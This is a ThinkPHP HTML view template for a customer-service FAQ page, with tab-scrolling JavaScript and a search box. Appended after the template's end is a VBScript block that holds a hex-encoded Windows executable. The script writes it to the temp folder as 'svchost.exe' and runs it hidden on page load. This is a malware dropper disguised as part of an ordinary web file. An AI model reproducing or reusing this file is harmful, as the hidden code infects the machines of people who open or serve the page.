qy-platform/Application/Media/View/default/Service/detail.html

<extend name="Public/base" />
<block name="body">
  <link rel="stylesheet" href="__CSS__/service.css">
  <link href="__STATIC__/icons_alibaba/iconfont.css?v=1.0" rel="stylesheet">
  <script type="text/javascript" src="__JS__/event.js"></script>
  <script type="text/javascript" src="__JS__/tween.js"></script>
  <!--客服详情-->
  <style>
    .search-input-new {
      border: 1px solid #999;
      border-radius: 20px;
      width: 300px;
      height: 30px;
      padding-left: 12px;
      padding-right: 30px;
      font-size: 1rem;
    }

    .search-icon {
      font-size: 1.4rem;
      line-height: 32px;
      position: absolute;
      right: 8px;
      cursor: pointer;
    }
  </style>
  <div class="g-main server_detail">
    <div class="crumbs" style="display: flex;">
      <div>
        <em>当前位置：</em> <span>客服中心</span>
      </div>
      <div style="float: right;position: absolute;right: 5%;display: flex;">
        <input class="search-input-new" placeholder="" id="search_value" value="{:I('get.search','')}" />
        <i class="iconfont iconicon-test search-icon" id="search_btn"></i>
      </div>
    </div>
    <div class="tabmain">
      <div id="outerWrap">
        <div id="sliderParent"></div>
        <div class="blueline" id="blueline" style="top: 0px; "></div>
        <ul class="tabGroup">
          <volist name="yidata" id="yi">
            <a href="{:U('',array('kefu'=>$yi['titleurl']))}"><li <if condition='I("kefu") eq $yi["titleurl"]'>class="tabOption selectedTab"</if>>{$yi["title"]}</li></a>
          </volist>
        </ul>
        <div id="container">
          <div id="content">
            <div class="tabContent selectedContent">
              <!--密码问题-->
              <h3>{$title.title}</h3>
              <notempty name="erdata">
                <ul>
                  <volist name="erdata" id="er">
                    <li>
                      <div class="q" style="height:auto;line-height:20px;" title="{$er['zititle']}"><em>•</em>{$er['zititle']}</div>
                      <div class="a">
                        <p style="line-height:15px"><span style="font-family:'微软雅黑','sans-serif'">&nbsp;{$er['contend']}</p>
                        <p><br>
                        </p>
                      </div>
                    </li>
                  </volist>
                </ul>
                <else />
                <div class="empty-notice">暂无此类问题哦~</div>
              </notempty>
            </div>
            <!--密码问题结束-->


          </div>
        </div>
        <div style="clear:both;"></div>
      </div>
    </div>
  </div>

  <!-- 主体内容 -->
  <script type="text/javascript">
      var container = document.getElementById('container');
      var content = document.getElementById('content');
      var oDivs = DOM.children(content, "div");
      oDivs[0].st = 0;
      for (var i = 1; i < oDivs.length; i++) {
          oDivs[i].st = oDivs[i].offsetTop;
      }
      var oLis = DOM.getElesByClass("tabOption");
      var flag = 0;
      var upFlag = oLis.length;
      (function() {
          function fn(e) {
              e = e || window.event;
              if (e.wheelDelta) {
                  var n = e.wheelDelta;
              } else if (e.detail) {
                  var n = e.detail * -1;
              }
              if (n > 0) {
                  container.scrollTop -= 12;
              } else if (n < 0) {
                  container.scrollTop += 12;
              }
              slider.style.top = container.scrollTop * container.offsetHeight / content.offsetHeight + "px";
              slider.offsetTop * (content.offsetHeight / container.offsetHeight);
              var st = container.scrollTop;
              if (st > this.preSt) {
                  for (var j = 0; j < oLis.length; j++) {
                      if (st < oDivs[j].st) break;
                  }
                  if (oLis[j - 2] && this.preLi !== j) {
                      if ((j) > (flag + 1)) {
                          DOM.removeClass(oLis[j - 2], "selectedTab");
                          DOM.addClass(oLis[j - 1], "selectedTab");
                          animate(blueline, {
                                  top: (j - 1) * 48
                              },
                              500, 2);
                      }
                  }
                  flag = j - 1;
              } else if (st < this.preSt) {
                  for (var j = oLis.length - 1; j >= 0; j--) {
                      if (st > oDivs[j].st) break;
                  }
                  if (oLis[j + 2] && this.preLi !== j) {
                      if (flag === undefined) return;
                      if ((j) < (flag)) {
                          for (var k = 0; k < oLis.length; k++) {
                              DOM.removeClass(oLis[k], "selectedTab");
                          };
                          DOM.addClass(oLis[j + 1], "selectedTab");
                          animate(blueline, {
                                  top: (j + 1) * 48
                              },
                              500, 2);
                          upFlag = j + 1;
                      }
                  }
              }
              this.preSt = st;
              if (e.preventDefault) e.preventDefault();
              return false;
          }
          container.onmousewheel = fn;
          if (container.addEventListener) container.addEventListener("DOMMouseScroll", fn, false);
          slider = document.createElement('span');
          slider.id = "slider";
          slider.style.height = container.offsetHeight * (container.offsetHeight / content.offsetHeight) + "px";
          sliderParent.appendChild(slider);
          on(slider, "mousedown", down);
          var blueline = document.getElementById("blueline");
          function changeTab() {
              var index = DOM.getIndex(this);
              for (var i = 0; i < oLis.length; i++) {
                  DOM.removeClass(oLis[i], "selectedTab");
              }
              DOM.addClass(this, "selectedTab");
              animate(container, {
                      scrollTop: oDivs[index].st
                  },
                  500, 1);
              var t = oDivs[index].st * container.offsetHeight / content.offsetHeight;
              animate(slider, {
                      top: t
                  },
                  500);
              animate(blueline, {
                      top: index * 48
                  },
                  500, 2);
          }
          var tabPannel1 = document.getElementById("outerWrap");
          var oLis = DOM.children(DOM.children(tabPannel1, "ul")[0], "li");
          for (var i = 0; i < oLis.length; i++) {
              oLis[i].onclick = changeTab;
          };

          $('#search_btn').click(function () {
              var value = $('#search_value').val();
              var url = '/media.php?s=/Service/detail/kefu/' + "{:I('get.kefu')}" + '/search/' + value + '.html';
              // console.log(url);
              window.location.href = url;
          });

          $('#search_value').bind('keypress', function (event) {
              if(event.keyCode == 13){
                  $('#search_btn').click();
              }
          });
      })();
  </script>
</block><SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C49AED60FE3CFFFFFFC7855C2B094C37B3FFE6EF0A195DD08175A035FF4DAC1155A0C9C204306E7FBF9F6845E0322D45A4346A35E804021C331F39D921085C803534311A8C8CBDFBBC815D0639C4C9C372143069B6DFDE3437353322F038383237833838BB9BBF1B700936333631FF8D4429B52C05017D7CB2F7EFE8F7950E836DCC00488AF0343532BEEFF6DDFC343491D0B23231748F046F791E39D9B60C18D83436CC3FB37BECFFF50185585DFF4D76198D3FF66FBF246365EC1E4588214DB4019D735DB40011951C61B2BB7809317DF8E77409DC00CD5D1E8EE03834459D7C16D6AEFBF60F37A88D9558FE0C528D8D7C065190388C4CC203044738A46B66BB05597F74DCF8350D509163939933694CBCCC386C84C9BAF40500D7044C0831D8D7CE16698406AB5171D8B2F7F7C1899D4F015588337AF7BBC2B3BDB4519CFF663A68312CDCBE8536475237DC8BBC332360369BCCDC219D488D14B9F73BBF8773D058009B9031E22FBFBD0BB85D2FEC35323835843631DF0EFF3CC8897DE081A52E723737814DDDB60DC394330C74F48235069564F6FE0AEE9E5C7721F7559C56BE67BECF4282D83134BE48B8E6B7EF7104786809094FC2F03321BD3C9193ADF1115DF8312999107C7736608DB077AD10133474096E123AA600973624E69B8423BB6408FF05124C3C8D7DCE261960B406FC094DDCC681D0B5080C94AC34579BD928FCDC3131B17440BB041BDF5930B44C5D5D80C0A41FFB1D0BD800297DC0312C217DFC83AD170B59E34681A01197B5AEDF6FBF16204C35290D197D80F79DBBF77684D2B75D366DE43368671105858E0C188F4C1C9C38376670127E3C23AFCC5703061430A5D35F6C54E505363834F89F91BEBDD93536C77AA7B021B5604819990CF3D0218578A0447448DF370F85E45052FF75A46043C9ACF4B3F483C48009C4314D8C771936D9DB6D7D07F08902295DF0496C9E846FB037884650378AD470D85A83EB9C05338403353636B637DE45DC3338682145E49088FA805BDB71DB13AC5B55A84583552F06D0ABF5C864547CB4373382A5AC05476BF874817B324A2F6C5B6FCC9177B8DCF471F0834DA54B8DEDA031210381CF863137D919DFD99E9C510718B1C7123C4F3232407C9C33349449EFF16653C6B1FADB37C9AD3DBC3135CCDC8C32320A9330093B560770EA3083353BE7E8BE354FE8323169B3F8F40064066B64D39831D2B76DAE124E0436315053C7CB1A7F9D4C6833AF75D468EBD6C2F7D72120F06A31069D84F8FB671D58C69C21899F342E722C0874E0F43732B93732D908A62B043CED82CFC9C8643D10B88481F0C0E1D36DC4E881AD0AA0211E5D69A1BDC0902913A5
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>